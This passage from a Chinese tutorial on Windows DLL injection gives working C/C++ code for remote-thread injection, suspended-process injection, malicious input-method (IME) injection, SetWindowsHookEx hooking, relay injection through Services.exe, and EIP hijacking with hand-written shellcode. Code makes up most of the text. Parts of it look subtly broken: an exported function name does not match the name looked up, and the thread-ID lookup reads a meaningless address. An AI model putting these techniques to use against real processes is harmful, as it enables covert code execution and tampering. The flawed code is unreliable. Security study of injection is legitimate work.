OutputDebugString(L"打开令牌失败");
return FALSE;
}
//查询进程特权信息
LUID luid;
if(FALSE==LookupPrivilegeValue(NULL , SE_DEBUG_NAME , &luid))
{
OutputDebugString(L"查询进程特权信息失败");
return FALSE;
}
//调整令牌访问特权
TOKEN_PRIVILEGES tkp;
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(FALSE == AdjustTokenPrivileges(hToken , FALSE , &tkp , sizeof(tkp) , NULL , NULL))
{
OutputDebugString(L"调节访问令牌特权属性失败");
return FALSE;
}
return TRUE;
}
//根据进程名称查找pid
DWORD GetProcessIDByName(const wchar_t* pName)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS , 0);
if (INVALID_HANDLE_VALUE == hSnapshot) {
return NULL;
}
PROCESSENTRY32 pe = { sizeof(pe) };
for (BOOL ret = Process32First(hSnapshot, &pe) ; ret ; ret = Process32Next(hSnapshot , &pe))
{
if (wcscmp(pe.szExeFile , pName) == 0)
{
CloseHandle(hSnapshot);
return pe.th32ProcessID;
}
}
CloseHandle(hSnapshot);
return 0;
}
//打开待注入的进程
HANDLE OpenTargetProcess(DWORD dpid)
{
HANDLE hTargetProcess;
hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS , FALSE , dpid);
if(hTargetProcess == NULL)
{
OutputDebugString(L"获取目标进程句柄失败");
}
return hTargetProcess;
}
//在待注入的进程中申请空间
BOOL TagetAlloc(HANDLE hTargetProcess, LPVOID &lpAddr)
{
lpAddr = VirtualAllocEx(hTargetProcess , NULL , 0x1000 , MEM_COMMIT , PAGE_EXECUTE_READ);
if(lpAddr == NULL)
{
OutputDebugString(L"在远程线程中内存空间申请失败");
return FALSE;
}
return TRUE;
}
//将DLL路径写入申请的空间
BOOL WriteDLLToTarget(HANDLE hTargetProcess , LPVOID lpAddr , LPCWSTR lpBuffer)
{
if(WriteProcessMemory(hTargetProcess ,
lpAddr ,
(PVOID)lpBuffer ,
2 * (1 + lstrlen(lpBuffer)) ,
NULL) == FALSE)
{
OutputDebugString(L"在远程线程中写入失败");
return FALSE;
}
return TRUE;
}
//在目标进程中开辟线程
BOOL CreateThreadInTarget(HANDLE hTargetProcess , PTHREAD_START_ROUTINE pnfStartAddr , LPVOID lpAddr)
{
HANDLE hThreadHandle;
hThreadHandle = CreateRemoteThread(hTargetProcess , NULL , 0 , pnfStartAddr , lpAddr , 0 , NULL);
if(hThreadHandle == NULL)
{
OutputDebugString(L"在目标进程中创建线程失败");
return FALSE;
}
return TRUE;
}
/*
///main函数,这里是远程线程注入的代码
void main()
{
DWORD hpid;//目标进程pid
HANDLE htargetprocess;//目标进程句柄
LPVOID lpAddr;//目标线程申请内存空间的指针
AdjustProcessTokenPrivilege();
hpid=GetProcessIDByName(L"Notepad++.exe");
if(hpid==0)
{
OutputDebugString(L"获取窗口进程PID失败");
MessageBox(L"注入失败",L"提示",MB_OK);
return;
}
htargetprocess=OpenTargetProcess(hpid);
if(htargetprocess==NULL)
{
MessageBox(L"注入失败",L"提示",MB_OK);
return;
}
if(TagetAlloc(htargetprocess, lpAddr) == FALSE)
{
MessageBox(L"注入失败",L"提示",MB_OK);
return;
}
if(WriteDLLToTarget(htargetprocess, lpAddr , TEXT("C:\\Users\\10178\\Desktop\\InjectDllFile.dll") )== FALSE )
{
MessageBox(L"注入失败",L"提示",MB_OK);
return;
}
PTHREAD_START_ROUTINE pnfStartAddr ;
pnfStartAddr=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
if(pnfStartAddr==NULL)
{
OutputDebugString(L"获取LoadLibrary地址失败");
MessageBox(L"注入失败",L"提示",MB_OK);
return;
}
if( CreateThreadInTarget(htargetprocess,pnfStartAddr,lpAddr) == FALSE)
{
MessageBox(L"注入失败",L"提示",MB_OK);
return;
}
}*/
//以Suspend打开目标进程
BOOL OpenTargetProcess(LPCWSTR ProcName , STARTUPINFO &st , PROCESS_INFORMATION &pi )
{
if( !CreateProcess(ProcName , NULL ,NULL , NULL , FALSE , CREATE_SUSPENDED , NULL , NULL , &st , &pi))
{
OutputDebugString(L"打开目标进程失败");
return FALSE;
}
return TRUE;
}
///main函数
void main()
{
PROCESS_INFORMATION stProcessInfo; // 存储进程信息的PROCESS_INFORMATION 结构体
::memset(&stProcessInfo, 0 ,sizeof(stProcessInfo)); //分配结构体内存
STARTUPINFO stStartUpInfo; //进程的主窗体显示信息的STARTUPINFO结构体
::memset(&stStartUpInfo, 0 ,sizeof(stStartUpInfo)); //分配结构体内存
stStartUpInfo.cb = sizeof(stStartUpInfo);
LPCWSTR ProcName; //目标进程地址名
LPVOID lpAddr; //目标进程申请内存空间的指针
LPCWSTR lpBuffer; //待注入的DLL路径
PTHREAD_START_ROUTINE pnfStartAddr ; //LoadLibrary地址
AdjustProcessTokenPrivilege();
ProcName = L"D:\\Program Files (x86)\\Notepad++\\notepad++.exe";
if( OpenTargetProcess(ProcName , stStartUpInfo , stProcessInfo ) == FALSE )
{
MessageBox(L"注入失败",L"提示",MB_OK);
return;
}
HANDLE hTargetProcess= stProcessInfo.hProcess; //目标进程的句柄
if( TagetAlloc(hTargetProcess , lpAddr) == FALSE )
{
MessageBox(L"注入失败",L"提示",MB_OK);
return;
}
lpBuffer= TEXT("C:\\Users\\10178\\Desktop\\InjectDllFile.dll");
if(WriteDLLToTarget(hTargetProcess, lpAddr , lpBuffer)== FALSE )
{
MessageBox(L"注入失败",L"提示",MB_OK);
return;
}
HANDLE hTargetThread = stProcessInfo.hThread; //目标线程的句柄
//获取LoadLibrary地址
pnfStartAddr = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(TEXT("Kernel32")) , "LoadLibraryW");
if(pnfStartAddr == NULL)
{
OutputDebugString(L"获取LoadLibrary地址失败");
MessageBox(L"注入失败" , L"提示" , MB_OK);
return;
}
if( CreateThreadInTarget(hTargetProcess , pnfStartAddr , lpAddr) == FALSE)
{
MessageBox(L"注入失败",L"提示",MB_OK);
return;
}
//恢复注入的目标线程挂起状态
ResumeThread(hTargetThread);
}
输入法注入 主要来自 吾爱破解-windows输入法注入原理入门
原理:
windows下输入法一般分为两种,一种是外挂式,一种是ime式
外挂式的实现是通过键盘钩子对输入进行拦截,再把要输出的内容传送给处于活动状态的编辑窗口。
IME方式则是使用系统提供的 IME(Input Method Editor) 接口实现输入法。
IME实现原理如下:

IME 原理
当当前活动窗口开启了输入法后,键盘事件就会通过系统进程 USER.exe 转交给 IME 处理,IME 再转告给当前输入法,输入法处理完后把处理结果告知 IME,IME 根据这个处理结果决定反馈给 USER.exe,然后再反馈给当前应用程序的活动窗口。
基于IME开发的输入法文件后缀为“ ime ”,但 实际上是一个 dll 文件 。这个 dll 文件类似于 IME 的一个插件存在,实现了 IME 要求的十几个接口函数。实际上,当 IME 收到 USER.exe 发来的键盘事件时,IME 就会调用当前启动的输入法中某些 IME 接口函数,根据这些函数的返回值,IME 可以确定输入法是否打算处理当前的键盘输入(选择不处理的情况下该键盘事件将会送去给应用程序自己去处理,否则应用程序不会收到该键盘事件),或把输入法要求输出的内容输出到应用程序中。
输入法注入的原理是利用 Windows 系统中在切换输入法需要输入字符时,系统就会把这个输入法需要的 IME 文件装在到当前进程中,而由于这个 IME 文件本质上只是个存放在 C:\WINDOWS\system32 目录下的特殊的 DLL 文件,因此我们可以利用这个特性,在 IME 文件中使用 LoadLibrary() 函数待注入的DLL文件。
换个说法,装载输入法的基本逻辑就是将编写的输入法设置为默认输入法,这样只要系统中所有进程都会默认加载恶意输入法程序。攻击者首先需要得到系统当前的默认的输入法,以便恢复时使用。然后需要将IME文件拷贝到C:\WINDOWS\system32目录下,最后将装载成功之后的输入法设置成为默认的输入法。
IME 框架中常用的函数(整理自吾爱破解论坛)
ImeConversionList //将字符串或字符转换成目标字串
ImeConfigure //配置当前ime参数函数
ImeDestroy //退出当前使用的IME
ImeEscape //应用软件访问输入法的接口函数
ImeInquire //启动并初始化当前ime输入法
ImeProcessKey //ime输入键盘事件管理函数
ImeSelect //启动当前的ime输入法
ImeSetActiveContext //设置当前的输入处于活动状态
ImeSetCompositionString //由应用程序设置输入法编码
ImeToAsciiEx //将输入的键盘事件转换为汉字编码事件
NotifyIME //ime事件管理函数
ImeRegisterWord //向输入法字典注册字符串
ImeUnregisterWord //删除被注册的字符串
ImeGetRegisterWordStyle
ImeEnumRegisterWord
UIWndProc //用户界面接口函数
StatusWndProc //状态窗口注册函数
CompWndProc //输入编码窗口注册函数
CandWndProc //选择汉字窗口注册函数
输入法注入流程:
输入法安装
输入法安装到系统里,把 ime 文件写入目录
C:\WINDOWS\system32 后调用 api ImmInstallIME。
ImmInstallIME
函数原型:
HKL ImmInstallIME(LPCTSTR lpszIMEFileName, LPCTSTR lpszLayoutText);
函数的两个参数分别为输入法IME文件的文件名和在控制面板的是输入法选项中显示的输入法名称。函数调用后将返回一个被安装输入法的输入法标识符(或称做输入法句柄)。
示例代码:
HKL hKL = ImmInstallIME("c:\\wintest.ime", "测试输入法");
输入法配置
使用 IMESetPubString 对输入法设置注入的 dll 路径(这里的 api 是 imedllhost09.ime 文件内的)。输入法的源码如下
int WINAPI IMESetPubString(LPCTSTR tmpStr,DWORD UnloadDLL,DWORD loadNextIme,DWORD DllData1,DWORD DllData2,DWORD DllData3)
{
CallBackData1=DllData1;
CallBackData2=DllData2;
CallBackData3=DllData3;
OnloadDllWhenExit=UnloadDLL;
LoadNextWhenActive=loadNextIme;
memset(g_IMEDLLString,0,802);
if (lstrlen(tmpStr)>800)
{
lstrcpyn(g_IMEDLLString,tmpStr,800);
}
else
{
lstrcpy(g_IMEDLLString,tmpStr);
}
return 1;
}
tmpStr是dll的路径
UnloadDLL是输入法退出的时候是否卸载dll 0代表是 1代表否
loadNextIme切换目标输入法的时候是否直接切换到下一个输入法 0代表否 1代表是
DllData1 数据1
DllData2 数据2
DllData3 数据3
调用逻辑
因为程序调用了 imedllhost09.ime 的 IMESetPubString。所以会使用 kernel32.LoadLibraryA 加载模块,然后调用 kernel32.GetProcAddress 获取 IMESetPubString,也就是说我们一般是第一个加载了 imedllhost09.ime 输入法模块的。
输入法内部的流程
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
if(!ImeClass_Register(hinstDLL)) return FALSE; // DLL加载时注册必须的UI基本窗口类
MyLoadCilentDLLFun();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
ImeClass_Unregister(hinstDLL); // DLL退出时注销注册的窗口类
if (CilentDLL!=NULL && OnloadDllWhenExit==0)
{
FreeLibrary(CilentDLL); // 输入法退出时卸载客户DLL
}
break;
default:
break;
}
return true;
}
if(!ImeClass_Register(hinstDLL)) return FALSE; 是注册了一个基本的窗口类
然后调用了函数 MyLoadCilentDLLFun();
接下来看看 MyLoadCilentDLLFun();
void MyLoadCilentDLLFun()
{
if (CilentDLL==NULL)
{
if (lstrlen(g_IMEDLLString)>0)
{
CilentDLL=LoadLibrary(g_IMEDLLString); // 在输入法加载时同时加载客户DLL
if (CilentDLL!=NULL)
{
// 如果存在,则调用客户DLL指定名称的回调函数
RunDllCallBackX=(RUNDLLHOSTCALLBACK)GetProcAddress(CilentDLL,"RunDllHostCallBack");
if (RunDllCallBackX!=NULL)
{
RunDllCallBackX(CallBackData1,CallBackData2,CallBackData3);
}
}
}
}
}
首先判断 CilentDLL 是否为空,因为我们刚初始化肯定是空的,然后调用获取 g_IMEDLLString 字符串长度,判断是否大于0,如果大于0再执行注入,这里刚初始化的,肯定为空,所以执行逻辑结束
执行完 dllmain 入口函数后,会紧接着执行 ImeInquire(),ImeInquire 是输入法初始化过程,这里不再叙述
输入法内部的流程大概梳理完了,接下来来看 IMESetPubString 函数。
int WINAPI IMESetPubString(LPCTSTR tmpStr,DWORD UnloadDLL,DWORD loadNextIme,DWORD DllData1,DWORD DllData2,DWORD DllData3)
{
CallBackData1=DllData1;
CallBackData2=DllData2;
CallBackData3=DllData3;
OnloadDllWhenExit=UnloadDLL;
LoadNextWhenActive=loadNextIme;
memset(g_IMEDLLString,0,802);
if (lstrlen(tmpStr)>800)
{
lstrcpyn(g_IMEDLLString,tmpStr,800);
}
else
{
lstrcpy(g_IMEDLLString,tmpStr);
}
return 1;
}
这里可以看到 IMESetPubString 是经过了一些简单的赋值,到这里输入法设置已经结束
输入法注入
注入到目标程序使用的是 SendMessageA (WinHwnd, 80, 1, ImeHwnd)
WinHwnd 是目标程序窗口句柄
ImeHwnd 是输入法句柄
这里的80,1我没有查阅到具体的资料,认为是通过 spy++ 抓取的
目标程序加载了 imedllhost09.ime 后同样会执行 dllmain 函数
与之前不同的是这次 g_IMEDLLString 是已经被赋值的了
为什么在自己程序里设置 g_IMEDLLString,而在其他程序也可以生效呢?
#pragma data_seg("mysechx")
DWORD CallBackData1=0;
DWORD CallBackData2=0;
DWORD CallBackData3=0;
DWORD OnloadDllWhenExit=0; // 当输入法退出时是否卸载客户DLL 0-是,1-否
DWORD LoadNextWhenActive=0; // 当本输入法激活时,是否自动打开下一个输入法 0-否,1-是
char g_IMEDLLString[802]="";
#pragma data_seg()
#pragma data_seg() 用于 dll 中,在 dll 中定义一个共享的,有名字的数据段
这个数据段的变量可以被多个进程共享,否则多个进程之间无法共享 dll 的变量
注意:这里的共享数据必须进行初始化
这样我们就实现了跨进程的数据通信,接下来继续看 MyLoadCilentDLLFun 函数
void MyLoadCilentDLLFun()
{
if (CilentDLL==NULL)
{
if (lstrlen(g_IMEDLLString)>0)
{
CilentDLL=LoadLibrary(g_IMEDLLString); // 在输入法加载时同时加载客户DLL
if (CilentDLL!=NULL)
{
// 如果存在,则调用客户DLL指定名称的回调函数
RunDllCallBackX=(RUNDLLHOSTCALLBACK)GetProcAddress(CilentDLL,"RunDllHostCallBack");
if (RunDllCallBackX!=NULL)
{
RunDllCallBackX(CallBackData1,CallBackData2,CallBackData3);
}
}
}
}
}
此时 CilentDLL 依然为 null,但 g_IMEDLLString 已经在 IMESetPubString 被赋值
接下来会调用 LoadLibrary 加载注入 dll
然后调用 GetProcAddress 获取注入 dll 的 RunDllHostCallBack 回调函数
并且调用回调函数传入 CallBackData1,CallBackData2,CallBackData3 三个数据
至此输入法注入结束了
输入法卸载:
停止注入调用的函数是 IMEClearPubString ,输入法的 IMEClearPubString 函数如下:
int WINAPI IMEClearPubString()
{
CallBackData1=0;
CallBackData2=0;
CallBackData3=0;
OnloadDllWhenExit=0;
LoadNextWhenActive=0;
memset(g_IMEDLLString,0,802);
return 1;
}
依然是对变量进行简单的赋值
接下来卸载输入法
删除以下注册表内的输入法标号(此处来自精易模块)
[b]输入法标号的获取[/b]
首先调用GetKeyboardLayoutList来获取输入法的数量
然后调用LoadKeyboardLayoutA获取每个输入法的句柄
通过判断输入法的句柄是否相等来获得输入法标号
接下来删除对应的注册表就可以了
“Keyboard Layout\Preload\”
“SYSTEM\CurrentControlSet\Control\Keyboard Layouts\”
“S-1-5-21-1060284298-606747145-682003330-500\Keyboard Layout\Preload”
然后调用UnloadKeyboardLayout卸载输入法
并且删除imedllhost09.ime以及对应的缓存文件
缓存文件的路径以及名称在注册表的“SYSTEM\CurrentControlSet\Control\Keyboard Layouts\”下
输入法的表示路径在注册表的 “Keyboard Layout\Preload\”下
消息钩子注入
消息钩子注入原理是利用 Windows 系统中的 SetWindowsHookEx() 这个 API,他可以拦截目标进程的消息到指定的 DLL 中的导出函数,利用这个特性,我们可以将 DLL 注入到指定的进程中。
SetWindowsHookEx() 原型如下:
WINUSERAPI
HHOOK
WINAPI
SetWindowsHookExW(
_In_ int idHook,
_In_ HOOKPROC lpfn,
_In_opt_ HINSTANCE hmod,
_In_ DWORD dwThreadId);
idHook:指示将要安装的挂钩处理过程的类型。例如,idHook为“WH_CALLWNDPROC”时代表安装一个挂钩处理过程,在系统将消息发送至目标窗口处理过程之前对该消息进行监视。
lpfn:指向相应的挂钩处理过程。
hmod:指示了一个DLL句柄。该DLL包含参数lpfn所指向的挂钩处理过程
dwThreadId:指示了一个线程标示符,挂钩处理过程与线程相关。若此参数值为0,则该挂钩处理过程与所有现存的线程相关。
如果去掉消息钩子,可以用UnhookWindowsHookEx函数
原本的消息机制如下:

网上找的图,有点模糊
插入SetWindowsHookEx之后流程

网上找的图,有点模糊
实现:
// MessageHook.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <Windows.h>
#include <Tlhelp32.h>
BOOL SetWinHookInject(WCHAR * wzDllPath, WCHAR * wzProcessName);
UINT32 GetTargetThreadIdFromProcessName(WCHAR *ProcessName);
int main()
{
WCHAR wzProcessName[0x20] = L"Target.exe";
WCHAR wzDllFullPath[0x20] = L"MessageHookDll.dll";
if (!SetWinHookInject(wzDllFullPath, wzProcessName))
{
OutputDebugString(L"Set Hook Unsuccess!\r\n");
return 0;
}
OutputDebugString(L"Inject Success!\r\n");
return 0;
}
//
//利用Windows API SetWindowsHookEx实现注入DLL
//
BOOL SetWinHookInject(WCHAR * wzDllPath, WCHAR * wzProcessName)
{
HMODULE ModuleHandle = NULL;
BOOL bOk = FALSE;
DWORD FunctionAddress = NULL;
UINT32 dwThreadId = 0;
HHOOK g_hHook = NULL;
PVOID pShareM = NULL;
OutputDebugString(L"[+] SetWinHKInject Enter!\n");
ModuleHandle = LoadLibrary(wzDllPath);
if (!ModuleHandle)
{
OutputDebugString(L"[+] LoadLibrary error!\n");
goto Exit;
}
FunctionAddress = (DWORD)GetProcAddress(ModuleHandle, "MyMessageProc");
if (!FunctionAddress)
{
OutputDebugString(L"[+] GetProcAddress error!\n");
goto Exit;
}
dwThreadId = GetTargetThreadIdFromProcessName(wzProcessName);
if (!dwThreadId)
goto Exit;
//设消息钩子
g_hHook = SetWindowsHookEx(
WH_GETMESSAGE,//WH_KEYBOARD,//WH_CALLWNDPROC,
(HOOKPROC)FunctionAddress,
ModuleHandle,
dwThreadId
);
if (!g_hHook)
{
OutputDebugString(L"[-] SetWindowsHookEx error !\n");
goto Exit;
}
OutputDebugString(L"[!] SetWinHKInject Exit!\n");
bOk = TRUE;
Exit:
if (ModuleHandle)
FreeLibrary(ModuleHandle);
return bOk;
}
//通过进程名获得线程ID
UINT32 GetTargetThreadIdFromProcessName(WCHAR *ProcessName)
{
PROCESSENTRY32 pe;
HANDLE SnapshotHandle = NULL;
HANDLE ProcessHandle = NULL;
BOOL Return, ProcessFound = FALSE;
UINT32 pTID, ThreadID;
SnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (SnapshotHandle == INVALID_HANDLE_VALUE)
{
MessageBox(NULL, L"Error: unable to create toolhelp snapshot", L"Loader", NULL);
return FALSE;
}
pe.dwSize = sizeof(PROCESSENTRY32);
Return = Process32First(SnapshotHandle, &pe);
while (Return)
{
if (_wcsicmp(pe.szExeFile, ProcessName) == 0)
{
ProcessFound = TRUE;
break;
}
Return = Process32Next(SnapshotHandle, &pe);
pe.dwSize = sizeof(PROCESSENTRY32);
}
CloseHandle(SnapshotHandle);
//通过fs寄存器获取TID
_asm
{
mov eax, fs:[0x18]
add eax, 36
mov[pTID], eax
}
ProcessHandle = OpenProcess(PROCESS_VM_READ, FALSE, pe.th32ProcessID);
ReadProcessMemory(ProcessHandle,(LPCVOID)pTID, &ThreadID, 4, NULL);
CloseHandle(ProcessHandle);
return ThreadID;
}
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include <Windows.h>
#pragma data_seg(SHARD_SEG_NAME)
static HHOOK g_hHook;
#pragma data_seg()
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
//
//加入你想在目标进程空间HOOK的代码
//
MessageBox(NULL, L"Inject Success!", L"Message", 0);
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
__declspec(dllexport)LRESULT MyMessageProcess(int Code, WPARAM wParam, LPARAM lParam)
{
//
//你自己对消息的处理
//
return CallNextHookEx(g_hHook, Code, wParam, lParam);
}
依赖可信任进程注入
原理:
依赖可信进程注入原理是利用Windows系统中Services.exe这个权限较高的进程,首先先将a.dll远线程注入到Service.exe中,再利用a.dll将b.dll远线程注入的待注入进程中。其实也是远线程注入的增强版
过程:
1、把 a.dll 远线程注入到 Services.exe 中,注入程序调用 Sleep 使自身睡眠
2、a.dll 通过 CreateToolhelp32Snapshot 函数和 Process32Next 函数遍历要注入的进程,如果进程打开则通过线程注入把 b.dll 注入,如果没有找到则一直循环
3、注入程序睡眠结束,通过 CreateToolhelp32Snapshot 函数和 Process32Next 函数遍历 Services.exe,再遍历其中模块,找到 a.dll
通过 CreateRemoteThread 远线程调用 FreeLibraryAndExitThread() 卸载 a.dll 模块
这样就完成了把 b.dll 注入到进程中了

流程
代码:
DWORD ThreadProc(CMfcServicesInjectDLLApp* pThis)
{
//切换mfc模块
AFX_MANAGE_STATE(AfxGetStaticModuleState());
pThis->m_InjectObj.Attach(
_T("calc.exe"),
_T("D:\\MyDll\\RelyServicesInject\\Debug\\MfcExeInjectDLL.dll"));
//在线程中卸载掉自己并且退出线程
FreeLibraryAndExitThread(pThis->m_hInstance,0);
return 0;
}
// CMfcServicesInjectDLLApp 初始化
BOOL CMfcServicesInjectDLLApp::InitInstance()
{
DWORD dwThreadId;
m_hThread = ::CreateThread(NULL, NULL,
(LPTHREAD_START_ROUTINE)ThreadProc,
this, NULL,&dwThreadId);
return TRUE;
}
EIP注入
原理:
挂起目标进程,停止目标进程EIP的变换,在目标进程开启空间,然后把相关的指令机器码和数据拷贝到里面去,然后修改目标进程EIP使其强行跳转到我们拷贝进去的相关机器码位置,执行相关,然后跳转回来。
注意两个问题
1、call 如果直接是个地址的话要这么计算
call RVA - call指令的下一条地址 RVA - (nowaddress + 5) //+5是因为 call dword 是长度5 1+4
2、jmp 直接跳转地址也是同理
jmp RVA - jmp指令的销一条地址 RVA - (nowaddress + 5) //+5是因为 jmp dword 长度是5 1+4
Tip
还有就是要知道,Kernel32.LoadLibraryW的地址不同进程是一样的,这样就可以直接得到相关RVA
代码:
#include "stdafx.h"
#include <string>
#include <windows.h>
#include "AnalyzeAndRun.h"
using namespace std;
WCHAR pDllPath[] = L"C:\\TestDllMexxBoxX32.dll"; //被注入dll的路径(32位)
VOID Test(){
HWND hWnd=::FindWindow(NULL,L"AAA"); //注入的线程对应窗体的title AAA,
//主要就是为了获得tid 和 pid 这个地方可以对应修改,通过别的姿势获取。
if(hWnd==NULL){
MessageBox(NULL ,L"未获取窗口句柄!",L"失败",MB_OK);
return;
}
DWORD pid,tid;
tid=GetWindowThreadProcessId(hWnd,&pid);
if(tid<=0){
MessageBox(NULL ,L"未获取线程ID",L"失败" ,MB_OK);
return;
}
if(pid<=0){
MessageBox(NULL ,L"未获取进程ID",L"失败" ,MB_OK);
return;
}
HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
if(hProcess <= 0){
MessageBox(NULL ,L"未获取进程句柄",L"失败" ,MB_OK);
return;
}
HANDLE hThread=OpenThread(THREAD_ALL_ACCESS,FALSE,tid);
if(hThread <= 0){
MessageBox(NULL ,L"未获取线程ID",L"失败" ,MB_OK);
return;
}
SuspendThread(hThread); //挂起线程
CONTEXT ct={0};
ct.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(hThread,&ct); //获取,保存线程寄存器相关
DWORD dwSize = sizeof(WCHAR)*1024; //0-0x100 写代码 之后写数据
BYTE *pProcessMem = (BYTE *)::VirtualAllocEx(hProcess,NULL,dwSize,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
DWORD dwWrited = 0;
::WriteProcessMemory(hProcess, (pProcessMem + 0x100), pDllPath, //先把路径(数据)写到内存里,从0x100开始
(wcslen(pDllPath) + 1) * sizeof(WCHAR), &dwWrited);
FARPROC pLoadLibraryW = (FARPROC)::GetProcAddress(::GetModuleHandle(L"Kernel32"), "LoadLibraryW");
BYTE ShellCode[32] = { 0 };
DWORD *pdwAddr = NULL;
ShellCode[0] = 0x60; // pushad
ShellCode[1] = 0x9c; // pushfd
ShellCode[2] = 0x68; // push
pdwAddr = (DWORD *)&ShellCode[3]; // ShellCode[3/4/5/6]
*pdwAddr = (DWORD)(pProcessMem + 0x100);
ShellCode[7] = 0xe8;//call
pdwAddr = (DWORD *)&ShellCode[8]; // ShellCode[8/9/10/11]
*pdwAddr = (DWORD)pLoadLibraryW - ((DWORD)(pProcessMem + 7) + 5 ); // 因为直接call地址了,所以对应机器码需要转换,计算VA
ShellCode[12] = 0x9d; // popfd
ShellCode[13] = 0x61; // popad
ShellCode[14] = 0xe9; // jmp
pdwAddr = (DWORD *)&ShellCode[15]; // ShellCode[15/16/17/18]
*pdwAddr = ct.Eip - ((DWORD)(pProcessMem + 14) + 5); //因为直接jmp地址了,所以对应机器码需要转换,计算VA
::WriteProcessMemory(hProcess, pProcessMem, ShellCode, sizeof(ShellCode), &dwWrited);
ct.Eip = (DWORD)pProcessMem;
::SetThreadContext(hThread, &ct);
::ResumeThread(hThread);
::CloseHandle(hProcess);
::CloseHandle(hThread);
}
int _tmain(int argc, _TCHAR* argv[]){
Test();
return 0;
}